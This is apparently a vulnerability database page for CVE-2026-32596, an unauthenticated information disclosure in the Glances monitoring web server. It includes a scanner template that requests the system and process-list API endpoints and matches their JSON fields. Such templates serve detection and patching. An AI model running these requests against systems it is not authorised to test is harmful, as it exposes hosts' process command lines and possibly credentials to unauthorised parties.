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Glances - Information Disclosure

CVE-2026-32596
Verified

Description

Glances < 4.5.2 contains an information disclosure vulnerability caused by the web server running without authentication by default, letting remote attackers access sensitive system information including credentials, exploit requires no special privileges.

Severity

High

CVSS Score

7.5

Exploit Probability

4%

Published Date

March 19, 2026

Template Author

theamanrawat

CVE-2026-32596.yaml
id: CVE-2026-32596

info:
  name: Glances - Information Disclosure
  author: theamanrawat
  severity: high
  description: |
    Glances < 4.5.2 contains an information disclosure vulnerability caused by the web server running without authentication by default, letting remote attackers access sensitive system information including credentials, exploit requires no special privileges.
  impact: |
    Remote attackers can access sensitive system information including credentials, risking data exposure and system compromise.
  remediation: |
    Update to version 4.5.2 or later.
  reference:
    - https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjq
    - https://nvd.nist.gov/vuln/detail/CVE-2026-32596
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-32596
    epss-score: 0.039
    epss-percentile: 0.88425
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2026,glances,exposure,unauth,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/4/system"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "os_name", "os_version", "hostname")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/4/processlist"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "cmdline", "cpu_times", "memory_info")'
        condition: and
# digest: 4b0a004830460221009de4e8da625bdfe4cc8615e84a1c8010c98c33db3d4fcad989af38678850fece022100de2e48bb6bd1c2395a4fb5c697c08346dcbdf09e10b4ec3ec33162cc65e59e0e:922c64590222798bb761d5b6d8e72950
7.5Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-32596
CWE ID:
cwe-200

References

https://github.com/nicolargo/glances/security/advisories/GHSA-wvxv-4j8q-4wjqhttps://nvd.nist.gov/vuln/detail/CVE-2026-32596

Remediation Steps

Update to version 4.5.2 or later.